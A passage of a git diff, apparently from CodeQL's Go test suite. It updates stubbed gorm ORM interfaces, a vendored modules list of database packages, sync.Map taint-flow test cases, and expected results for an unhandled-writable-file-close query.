+func (_ *DB) Where(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) WithContext(_ context.Context) *DB {
+	return nil
+}
+
+type Dialector interface {
+	BindVarTo(_ interface{}, _ *Statement, _ interface{})
+	DataTypeOf(_ interface{}) string
+	DefaultValueOf(_ interface{}) interface{}
+	Explain(_ string, _ ...interface{}) string
+	Initialize(_ *DB) error
+	Migrator(_ *DB) Migrator
+	Name() string
+	QuoteTo(_ interface{}, _ string)
+}
+
+type Index interface {
+	Columns() []string
+	Name() string
+	Option() string
+	PrimaryKey() (bool, bool)
+	Table() string
+	Unique() (bool, bool)
+}
+
+type Migrator interface {
+	AddColumn(_ interface{}, _ string) error
+	AlterColumn(_ interface{}, _ string) error
+	AutoMigrate(_ ...interface{}) error
+	ColumnTypes(_ interface{}) ([]ColumnType, error)
+	CreateConstraint(_ interface{}, _ string) error
+	CreateIndex(_ interface{}, _ string) error
+	CreateTable(_ ...interface{}) error
+	CreateView(_ string, _ ViewOption) error
+	CurrentDatabase() string
+	DropColumn(_ interface{}, _ string) error
+	DropConstraint(_ interface{}, _ string) error
+	DropIndex(_ interface{}, _ string) error
+	DropTable(_ ...interface{}) error
+	DropView(_ string) error
+	FullDataTypeOf(_ interface{}) interface{}
+	GetIndexes(_ interface{}) ([]Index, error)
+	GetTables() ([]string, error)
+	GetTypeAliases(_ string) []string
+	HasColumn(_ interface{}, _ string) bool
+	HasConstraint(_ interface{}, _ string) bool
+	HasIndex(_ interface{}, _ string) bool
+	HasTable(_ interface{}) bool
+	MigrateColumn(_ interface{}, _ interface{}, _ ColumnType) error
+	MigrateColumnUnique(_ interface{}, _ interface{}, _ ColumnType) error
+	RenameColumn(_ interface{}, _ string, _ string) error
+	RenameIndex(_ interface{}, _ string, _ string) error
+	RenameTable(_ interface{}, _ interface{}) error
+	TableType(_ interface{}) (TableType, error)
+}
+
+type Plugin interface {
+	Initialize(_ *DB) error
+	Name() string
+}
+
+type Session struct {
+	DryRun                   bool
+	PrepareStmt              bool
+	NewDB                    bool
+	Initialized              bool
+	SkipHooks                bool
+	SkipDefaultTransaction   bool
+	DisableNestedTransaction bool
+	AllowGlobalUpdate        bool
+	FullSaveAssociations     bool
+	PropagateUnscoped        bool
+	QueryFields              bool
+	Context                  context.Context
+	Logger                   interface{}
+	NowFunc                  func() time.Time
+	CreateBatchSize          int
+}
+
+type Statement struct {
+	*DB
+	TableExpr            interface{}
+	Table                string
+	Model                interface{}
+	Unscoped             bool
+	Dest                 interface{}
+	ReflectValue         reflect.Value
+	Clauses              map[string]interface{}
+	BuildClauses         []string
+	Distinct             bool
+	Selects              []string
+	Omits                []string
+	ColumnMapping        map[string]string
+	Joins                []interface{}
+	Preloads             map[string][]interface{}
+	Settings             sync.Map
+	ConnPool             ConnPool
+	Schema               interface{}
+	Context              context.Context
+	RaiseErrorOnNotFound bool
+	SkipHooks            bool
+	SQL                  strings.Builder
+	Vars                 []interface{}
+	CurDestIndex         int
+}
+
+func (_ Statement) AddError(_ error) error {
+	return nil
+}
+
+func (_ Statement) AfterInitialize(_ *DB) error {
+	return nil
+}
+
+func (_ Statement) Apply(_ *Config) error {
+	return nil
+}
+
+func (_ Statement) Assign(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Association(_ string) *Association {
+	return nil
+}
+
+func (_ Statement) Attrs(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) AutoMigrate(_ ...interface{}) error {
+	return nil
+}
+
+func (_ Statement) Begin(_ ...*sql.TxOptions) *DB {
+	return nil
+}
+
+func (_ Statement) BindVarTo(_ interface{}, _ *Statement, _ interface{}) {}
+
+func (_ Statement) Callback() interface{} {
+	return nil
+}
+
+func (_ Statement) Commit() *DB {
+	return nil
+}
+
+func (_ Statement) Connection(_ func(*DB) error) error {
+	return nil
+}
+
+func (_ Statement) Count(_ *int64) *DB {
+	return nil
+}
+
+func (_ Statement) Create(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) CreateInBatches(_ interface{}, _ int) *DB {
+	return nil
+}
+
+func (_ Statement) DataTypeOf(_ interface{}) string {
+	return ""
+}
+
+func (_ Statement) Debug() *DB {
+	return nil
+}
+
+func (_ Statement) DefaultValueOf(_ interface{}) interface{} {
+	return nil
+}
+
+func (_ Statement) Delete(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Exec(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Explain(_ string, _ ...interface{}) string {
+	return ""
+}
+
+func (_ Statement) Find(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) FindInBatches(_ interface{}, _ int, _ func(*DB, int) error) *DB {
+	return nil
+}
+
+func (_ Statement) First(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) FirstOrCreate(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) FirstOrInit(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Get(_ string) (interface{}, bool) {
+	return nil, false
+}
+
+func (_ Statement) Group(_ string) *DB {
+	return nil
+}
+
+func (_ Statement) Having(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Initialize(_ *DB) error {
+	return nil
+}
+
+func (_ Statement) InnerJoins(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) InstanceGet(_ string) (interface{}, bool) {
+	return nil, false
+}
+
+func (_ Statement) InstanceSet(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Last(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Limit(_ int) *DB {
+	return nil
+}
+
+func (_ Statement) MapColumns(_ map[string]string) *DB {
+	return nil
+}
+
+func (_ Statement) Migrator() Migrator {
+	return nil
+}
+
+func (_ Statement) Name() string {
+	return ""
+}
+
+func (_ Statement) Not(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Offset(_ int) *DB {
+	return nil
+}
+
+func (_ Statement) Omit(_ ...string) *DB {
+	return nil
+}
+
+func (_ Statement) Or(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Order(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Pluck(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Preload(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Raw(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Rollback() *DB {
+	return nil
+}
+
+func (_ Statement) RollbackTo(_ string) *DB {
+	return nil
+}
+
+func (_ Statement) Row() *sql.Row {
+	return nil
+}
+
+func (_ Statement) Rows() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ Statement) Save(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) SavePoint(_ string) *DB {
+	return nil
+}
+
+func (_ Statement) Scan(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) ScanRows(_ *sql.Rows, _ interface{}) error {
+	return nil
+}
+
+func (_ Statement) Scopes(_ ...func(*DB) *DB) *DB {
+	return nil
+}
+
+func (_ Statement) Select(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Session(_ *Session) *DB {
+	return nil
+}
+
+func (_ Statement) Set(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) SetupJoinTable(_ interface{}, _ string, _ interface{}) error {
+	return nil
+}
+
+func (_ Statement) Take(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) ToSQL(_ func(*DB) *DB) string {
+	return ""
+}
+
+func (_ Statement) Transaction(_ func(*DB) error, _ ...*sql.TxOptions) error {
+	return nil
+}
+
+func (_ Statement) Update(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) UpdateColumn(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) UpdateColumns(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Updates(_ interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) Use(_ Plugin) error {
+	return nil
+}
+
+func (_ Statement) Where(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ Statement) WithContext(_ context.Context) *DB {
+	return nil
+}
+
+func (_ *Statement) AddClause(_ interface{}) {}
+
+func (_ *Statement) AddClauseIfNotExists(_ interface{}) {}
+
+func (_ *Statement) AddVar(_ interface{}, _ ...interface{}) {}
+
+func (_ *Statement) Build(_ ...string) {}
+
+func (_ *Statement) BuildCondition(_ interface{}, _ ...interface{}) []interface{} {
+	return nil
+}
+
+func (_ *Statement) Changed(_ ...string) bool {
+	return false
+}
+
+func (_ *Statement) Parse(_ interface{}) error {
+	return nil
+}
+
+func (_ *Statement) ParseWithSpecialTableName(_ interface{}, _ string) error {
+	return nil
+}
+
+func (_ *Statement) Quote(_ interface{}) string {
+	return ""
+}
+
+func (_ *Statement) QuoteTo(_ interface{}, _ interface{}) {}
+
+func (_ *Statement) SelectAndOmitColumns(_ bool, _ bool) (map[string]bool, bool) {
+	return nil, false
+}
+
+func (_ *Statement) SetColumn(_ string, _ interface{}, _ ...bool) {}
+
+func (_ *Statement) WriteByte(_ byte) error {
+	return nil
+}
+
+func (_ *Statement) WriteQuoted(_ interface{}) {}
+
+func (_ *Statement) WriteString(_ string) (int, error) {
+	return 0, nil
+}
+
+type TableType interface {
+	Comment() (string, bool)
+	Name() string
+	Schema() string
+	Type() string
+}
+
+type ViewOption struct {
+	Replace     bool
+	CheckOption string
+	Query       *DB
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt
index 333381508d66..01fbca5130d4 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt
@@ -1,9 +1,150 @@
-# gorm.io/gorm v1.23.0
+# github.com/astaxie/beego v1.12.3
 ## explicit
-gorm.io/gorm
+github.com/astaxie/beego/orm
+# github.com/beego/beego/v2 v2.3.5
+## explicit
+github.com/beego/beego/v2/client/orm
+# github.com/couchbase/gocb v1.6.7
+## explicit
+github.com/couchbase/gocb
+# github.com/couchbase/gocb/v2 v2.9.4
+## explicit
+github.com/couchbase/gocb/v2
 # github.com/jmoiron/sqlx v1.4.0
 ## explicit
 github.com/jmoiron/sqlx
-# go.mongodb.org/mongo-driver/mongo v1.17.2
+# github.com/Masterminds/squirrel v1.5.4
+## explicit
+github.com/Masterminds/squirrel
+# github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
+## explicit
+github.com/rqlite/gorqlite
+# go.mongodb.org/mongo-driver v1.17.3
 ## explicit
 go.mongodb.org/mongo-driver/mongo
+# gorm.io/gorm v1.25.12
+## explicit
+gorm.io/gorm
+# github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
+## explicit
+github.com/nonexistent/sources
+# github.com/couchbase/gocbcore/v10 v10.5.4
+## explicit
+github.com/couchbase/gocbcore/v10
+# github.com/couchbase/gocbcoreps v0.1.3
+## explicit
+github.com/couchbase/gocbcoreps
+# github.com/couchbase/goprotostellar v1.0.2
+## explicit
+github.com/couchbase/goprotostellar
+# github.com/couchbaselabs/gocbconnstr/v2 v2.0.0-20240607131231-fb385523de28
+## explicit
+github.com/couchbaselabs/gocbconnstr/v2
+# github.com/go-logr/logr v1.4.1
+## explicit
+github.com/go-logr/logr
+# github.com/go-logr/stdr v1.2.2
+## explicit
+github.com/go-logr/stdr
+# github.com/golang/snappy v0.0.4
+## explicit
+github.com/golang/snappy
+# github.com/google/uuid v1.6.0
+## explicit
+github.com/google/uuid
+# github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
+## explicit
+github.com/grpc-ecosystem/go-grpc-middleware
+# github.com/hashicorp/golang-lru v0.5.4
+## explicit
+github.com/hashicorp/golang-lru
+# github.com/jinzhu/inflection v1.0.0
+## explicit
+github.com/jinzhu/inflection
+# github.com/jinzhu/now v1.1.5
+## explicit
+github.com/jinzhu/now
+# github.com/klauspost/compress v1.16.7
+## explicit
+github.com/klauspost/compress
+# github.com/montanaflynn/stats v0.7.1
+## explicit
+github.com/montanaflynn/stats
+# github.com/opentracing/opentracing-go v1.2.0
+## explicit
+github.com/opentracing/opentracing-go
+# github.com/pkg/errors v0.9.1
+## explicit
+github.com/pkg/errors
+# github.com/shiena/ansicolor v0.0.0-20200904210342-c7312218db18
+## explicit
+github.com/shiena/ansicolor
+# github.com/valyala/bytebufferpool v1.0.0
+## explicit
+github.com/valyala/bytebufferpool
+# github.com/xdg-go/pbkdf2 v1.0.0
+## explicit
+github.com/xdg-go/pbkdf2
+# github.com/xdg-go/scram v1.1.2
+## explicit
+github.com/xdg-go/scram
+# github.com/xdg-go/stringprep v1.0.4
+## explicit
+github.com/xdg-go/stringprep
+# github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78
+## explicit
+github.com/youmark/pkcs8
+# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0
+## explicit
+go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc
+# go.opentelemetry.io/otel v1.24.0
+## explicit
+go.opentelemetry.io/otel
+# go.opentelemetry.io/otel/metric v1.24.0
+## explicit
+go.opentelemetry.io/otel/metric
+# go.opentelemetry.io/otel/trace v1.24.0
+## explicit
+go.opentelemetry.io/otel/trace
+# go.uber.org/multierr v1.11.0
+## explicit
+go.uber.org/multierr
+# go.uber.org/zap v1.27.0
+## explicit
+go.uber.org/zap
+# golang.org/x/crypto v0.26.0
+## explicit
+golang.org/x/crypto
+# golang.org/x/net v0.24.0
+## explicit
+golang.org/x/net
+# golang.org/x/sync v0.8.0
+## explicit
+golang.org/x/sync
+# golang.org/x/sys v0.23.0
+## explicit
+golang.org/x/sys
+# golang.org/x/text v0.17.0
+## explicit
+golang.org/x/text
+# google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda
+## explicit
+google.golang.org/genproto/googleapis/rpc
+# google.golang.org/grpc v1.63.2
+## explicit
+google.golang.org/grpc
+# google.golang.org/protobuf v1.34.2
+## explicit
+google.golang.org/protobuf
+# gopkg.in/couchbase/gocbcore.v7 v7.1.18
+## explicit
+gopkg.in/couchbase/gocbcore.v7
+# gopkg.in/couchbaselabs/gocbconnstr.v1 v1.0.4
+## explicit
+gopkg.in/couchbaselabs/gocbconnstr.v1
+# gopkg.in/couchbaselabs/gojcbmock.v1 v1.0.4
+## explicit
+gopkg.in/couchbaselabs/gojcbmock.v1
+# gopkg.in/couchbaselabs/jsonx.v1 v1.0.1
+## explicit
+gopkg.in/couchbaselabs/jsonx.v1
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/StdlibTaintFlow/Sync.go b/go/ql/test/library-tests/semmle/go/frameworks/StdlibTaintFlow/Sync.go
index 25a0f7d96d02..d7d1044acd6f 100644
--- a/go/ql/test/library-tests/semmle/go/frameworks/StdlibTaintFlow/Sync.go
+++ b/go/ql/test/library-tests/semmle/go/frameworks/StdlibTaintFlow/Sync.go
@@ -16,20 +16,6 @@ func TaintStepTest_SyncMapLoadOrStore_B0I0O0(sourceCQL interface{}) interface{}
 	return intoInterface650
 }
 
-func TaintStepTest_SyncMapLoadOrStore_B1I0O0(sourceCQL interface{}) interface{} {
-	fromInterface784 := sourceCQL.(interface{})
-	var intoMap957 sync.Map
-	intoMap957.LoadOrStore(fromInterface784, nil)
-	return intoMap957
-}
-
-func TaintStepTest_SyncMapLoadOrStore_B1I0O1(sourceCQL interface{}) interface{} {
-	fromInterface520 := sourceCQL.(interface{})
-	var mediumObjCQL sync.Map
-	intoInterface443, _ := mediumObjCQL.LoadOrStore(fromInterface520, nil)
-	return intoInterface443
-}
-
 func TaintStepTest_SyncMapLoadOrStore_B1I1O0(sourceCQL interface{}) interface{} {
 	fromInterface127 := sourceCQL.(interface{})
 	var intoMap483 sync.Map
@@ -44,13 +30,6 @@ func TaintStepTest_SyncMapLoadOrStore_B1I1O1(sourceCQL interface{}) interface{}
 	return intoInterface982
 }
 
-func TaintStepTest_SyncMapStore_B0I0O0(sourceCQL interface{}) interface{} {
-	fromInterface417 := sourceCQL.(interface{})
-	var intoMap584 sync.Map
-	intoMap584.Store(fromInterface417, nil)
-	return intoMap584
-}
-
 func TaintStepTest_SyncMapStore_B0I1O0(sourceCQL interface{}) interface{} {
 	fromInterface991 := sourceCQL.(interface{})
 	var intoMap881 sync.Map
@@ -58,12 +37,6 @@ func TaintStepTest_SyncMapStore_B0I1O0(sourceCQL interface{}) interface{} {
 	return intoMap881
 }
 
-func TaintStepTest_SyncMapSwapinkey(sourceCQL interface{}) interface{} {
-	var m sync.Map
-	m.Swap(sourceCQL, "value")
-	return m
-}
-
 func TaintStepTest_SyncMapSwapinvalue(sourceCQL interface{}) interface{} {
 	var m sync.Map
 	m.Swap("key", sourceCQL)
@@ -106,16 +79,6 @@ func RunAllTaints_Sync() {
 		out := TaintStepTest_SyncMapLoadOrStore_B0I0O0(source)
 		sink(1, out)
 	}
-	{
-		source := newSource(2)
-		out := TaintStepTest_SyncMapLoadOrStore_B1I0O0(source)
-		sink(2, out)
-	}
-	{
-		source := newSource(3)
-		out := TaintStepTest_SyncMapLoadOrStore_B1I0O1(source)
-		sink(3, out)
-	}
 	{
 		source := newSource(4)
 		out := TaintStepTest_SyncMapLoadOrStore_B1I1O0(source)
@@ -126,11 +89,6 @@ func RunAllTaints_Sync() {
 		out := TaintStepTest_SyncMapLoadOrStore_B1I1O1(source)
 		sink(5, out)
 	}
-	{
-		source := newSource(6)
-		out := TaintStepTest_SyncMapStore_B0I0O0(source)
-		sink(6, out)
-	}
 	{
 		source := newSource(7)
 		out := TaintStepTest_SyncMapStore_B0I1O0(source)
@@ -146,11 +104,6 @@ func RunAllTaints_Sync() {
 		out := TaintStepTest_SyncPoolPut_B0I0O0(source)
 		sink(9, out)
 	}
-	{
-		source := newSource(10)
-		out := TaintStepTest_SyncMapSwapinkey(source)
-		sink(10, out)
-	}
 	{
 		source := newSource(11)
 		out := TaintStepTest_SyncMapSwapinvalue(source)
diff --git a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.expected b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.expected
index 672e1a5cc8f1..41034c557961 100644
--- a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.expected
+++ b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.expected
@@ -1,48 +1,52 @@
 #select
-| tests.go:9:8:9:8 | f | tests.go:31:5:31:78 | ... := ...[0] | tests.go:9:8:9:8 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:31:15:31:78 | call to OpenFile | call to OpenFile |
-| tests.go:9:8:9:8 | f | tests.go:45:5:45:76 | ... := ...[0] | tests.go:9:8:9:8 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:45:15:45:76 | call to OpenFile | call to OpenFile |
-| tests.go:14:3:14:3 | f | tests.go:31:5:31:78 | ... := ...[0] | tests.go:14:3:14:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:31:15:31:78 | call to OpenFile | call to OpenFile |
-| tests.go:14:3:14:3 | f | tests.go:45:5:45:76 | ... := ...[0] | tests.go:14:3:14:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:45:15:45:76 | call to OpenFile | call to OpenFile |
-| tests.go:56:3:56:3 | f | tests.go:54:5:54:78 | ... := ...[0] | tests.go:56:3:56:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:54:15:54:78 | call to OpenFile | call to OpenFile |
-| tests.go:68:3:68:3 | f | tests.go:66:5:66:76 | ... := ...[0] | tests.go:68:3:68:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:66:15:66:76 | call to OpenFile | call to OpenFile |
-| tests.go:110:9:110:9 | f | tests.go:108:5:108:78 | ... := ...[0] | tests.go:110:9:110:9 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:108:15:108:78 | call to OpenFile | call to OpenFile |
-| tests.go:129:3:129:3 | f | tests.go:125:5:125:78 | ... := ...[0] | tests.go:129:3:129:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:125:15:125:78 | call to OpenFile | call to OpenFile |
+| tests.go:10:8:10:8 | f | tests.go:32:5:32:78 | ... := ...[0] | tests.go:10:8:10:8 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:32:15:32:78 | call to OpenFile | call to OpenFile |
+| tests.go:10:8:10:8 | f | tests.go:46:5:46:76 | ... := ...[0] | tests.go:10:8:10:8 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:46:15:46:76 | call to OpenFile | call to OpenFile |
+| tests.go:15:3:15:3 | f | tests.go:32:5:32:78 | ... := ...[0] | tests.go:15:3:15:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:32:15:32:78 | call to OpenFile | call to OpenFile |
+| tests.go:15:3:15:3 | f | tests.go:46:5:46:76 | ... := ...[0] | tests.go:15:3:15:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:46:15:46:76 | call to OpenFile | call to OpenFile |
+| tests.go:57:3:57:3 | f | tests.go:55:5:55:78 | ... := ...[0] | tests.go:57:3:57:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:55:15:55:78 | call to OpenFile | call to OpenFile |
+| tests.go:69:3:69:3 | f | tests.go:67:5:67:76 | ... := ...[0] | tests.go:69:3:69:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:67:15:67:76 | call to OpenFile | call to OpenFile |
+| tests.go:111:9:111:9 | f | tests.go:109:5:109:78 | ... := ...[0] | tests.go:111:9:111:9 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:109:15:109:78 | call to OpenFile | call to OpenFile |
+| tests.go:130:3:130:3 | f | tests.go:126:5:126:78 | ... := ...[0] | tests.go:130:3:130:3 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:126:15:126:78 | call to OpenFile | call to OpenFile |
+| tests.go:151:8:151:8 | f | tests.go:147:2:147:74 | ... := ...[0] | tests.go:151:8:151:8 | f | File handle may be writable as a result of data flow from a $@ and closing it may result in data loss upon failure, which is not handled explicitly. | tests.go:147:12:147:74 | call to OpenFile | call to OpenFile |
 edges
-| tests.go:8:24:8:24 | definition of f | tests.go:9:8:9:8 | f | provenance |  |
-| tests.go:12:32:12:32 | definition of f | tests.go:13:13:15:2 | capture variable f | provenance |  |
-| tests.go:13:13:15:2 | capture variable f | tests.go:14:3:14:3 | f | provenance |  |
-| tests.go:31:5:31:78 | ... := ...[0] | tests.go:32:21:32:21 | f | provenance | Src:MaD:1  |
-| tests.go:31:5:31:78 | ... := ...[0] | tests.go:33:29:33:29 | f | provenance | Src:MaD:1  |
-| tests.go:32:21:32:21 | f | tests.go:8:24:8:24 | definition of f | provenance |  |
-| tests.go:33:29:33:29 | f | tests.go:12:32:12:32 | definition of f | provenance |  |
-| tests.go:45:5:45:76 | ... := ...[0] | tests.go:46:21:46:21 | f | provenance | Src:MaD:1  |
-| tests.go:45:5:45:76 | ... := ...[0] | tests.go:47:29:47:29 | f | provenance | Src:MaD:1  |
-| tests.go:46:21:46:21 | f | tests.go:8:24:8:24 | definition of f | provenance |  |
-| tests.go:47:29:47:29 | f | tests.go:12:32:12:32 | definition of f | provenance |  |
-| tests.go:54:5:54:78 | ... := ...[0] | tests.go:56:3:56:3 | f | provenance | Src:MaD:1  |
-| tests.go:66:5:66:76 | ... := ...[0] | tests.go:68:3:68:3 | f | provenance | Src:MaD:1  |
-| tests.go:108:5:108:78 | ... := ...[0] | tests.go:110:9:110:9 | f | provenance | Src:MaD:1  |
-| tests.go:125:5:125:78 | ... := ...[0] | tests.go:129:3:129:3 | f | provenance | Src:MaD:1  |
+| tests.go:9:24:9:24 | definition of f | tests.go:10:8:10:8 | f | provenance |  |
+| tests.go:13:32:13:32 | definition of f | tests.go:14:13:16:2 | capture variable f | provenance |  |
+| tests.go:14:13:16:2 | capture variable f | tests.go:15:3:15:3 | f | provenance |  |
+| tests.go:32:5:32:78 | ... := ...[0] | tests.go:33:21:33:21 | f | provenance | Src:MaD:1  |
+| tests.go:32:5:32:78 | ... := ...[0] | tests.go:34:29:34:29 | f | provenance | Src:MaD:1  |
+| tests.go:33:21:33:21 | f | tests.go:9:24:9:24 | definition of f | provenance |  |
+| tests.go:34:29:34:29 | f | tests.go:13:32:13:32 | definition of f | provenance |  |
+| tests.go:46:5:46:76 | ... := ...[0] | tests.go:47:21:47:21 | f | provenance | Src:MaD:1  |
+| tests.go:46:5:46:76 | ... := ...[0] | tests.go:48:29:48:29 | f | provenance | Src:MaD:1  |
+| tests.go:47:21:47:21 | f | tests.go:9:24:9:24 | definition of f | provenance |  |
+| tests.go:48:29:48:29 | f | tests.go:13:32:13:32 | definition of f | provenance |  |
+| tests.go:55:5:55:78 | ... := ...[0] | tests.go:57:3:57:3 | f | provenance | Src:MaD:1  |
+| tests.go:67:5:67:76 | ... := ...[0] | tests.go:69:3:69:3 | f | provenance | Src:MaD:1  |
+| tests.go:109:5:109:78 | ... := ...[0] | tests.go:111:9:111:9 | f | provenance | Src:MaD:1  |
+| tests.go:126:5:126:78 | ... := ...[0] | tests.go:130:3:130:3 | f | provenance | Src:MaD:1  |
+| tests.go:147:2:147:74 | ... := ...[0] | tests.go:151:8:151:8 | f | provenance | Src:MaD:1  |
 models
 | 1 | Source: os; ; false; OpenFile; ; ; ReturnValue[0]; file; manual |
 nodes
-| tests.go:8:24:8:24 | definition of f | semmle.label | definition of f |
-| tests.go:9:8:9:8 | f | semmle.label | f |
-| tests.go:12:32:12:32 | definition of f | semmle.label | definition of f |
-| tests.go:13:13:15:2 | capture variable f | semmle.label | capture variable f |
-| tests.go:14:3:14:3 | f | semmle.label | f |
-| tests.go:31:5:31:78 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:32:21:32:21 | f | semmle.label | f |
-| tests.go:33:29:33:29 | f | semmle.label | f |
-| tests.go:45:5:45:76 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:46:21:46:21 | f | semmle.label | f |
-| tests.go:47:29:47:29 | f | semmle.label | f |
-| tests.go:54:5:54:78 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:56:3:56:3 | f | semmle.label | f |
-| tests.go:66:5:66:76 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:68:3:68:3 | f | semmle.label | f |
-| tests.go:108:5:108:78 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:110:9:110:9 | f | semmle.label | f |
-| tests.go:125:5:125:78 | ... := ...[0] | semmle.label | ... := ...[0] |
-| tests.go:129:3:129:3 | f | semmle.label | f |
+| tests.go:9:24:9:24 | definition of f | semmle.label | definition of f |
+| tests.go:10:8:10:8 | f | semmle.label | f |
+| tests.go:13:32:13:32 | definition of f | semmle.label | definition of f |
+| tests.go:14:13:16:2 | capture variable f | semmle.label | capture variable f |
+| tests.go:15:3:15:3 | f | semmle.label | f |
+| tests.go:32:5:32:78 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:33:21:33:21 | f | semmle.label | f |
+| tests.go:34:29:34:29 | f | semmle.label | f |
+| tests.go:46:5:46:76 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:47:21:47:21 | f | semmle.label | f |
+| tests.go:48:29:48:29 | f | semmle.label | f |
+| tests.go:55:5:55:78 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:57:3:57:3 | f | semmle.label | f |
+| tests.go:67:5:67:76 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:69:3:69:3 | f | semmle.label | f |
+| tests.go:109:5:109:78 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:111:9:111:9 | f | semmle.label | f |
+| tests.go:126:5:126:78 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:130:3:130:3 | f | semmle.label | f |
+| tests.go:147:2:147:74 | ... := ...[0] | semmle.label | ... := ...[0] |
+| tests.go:151:8:151:8 | f | semmle.label | f |
 subpaths
diff --git a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.qlref b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.qlref
index 82300c2182c8..af272c9022f2 100644
--- a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.qlref
+++ b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/UnhandledCloseWritableHandle.qlref
@@ -1,2 +1,4 @@
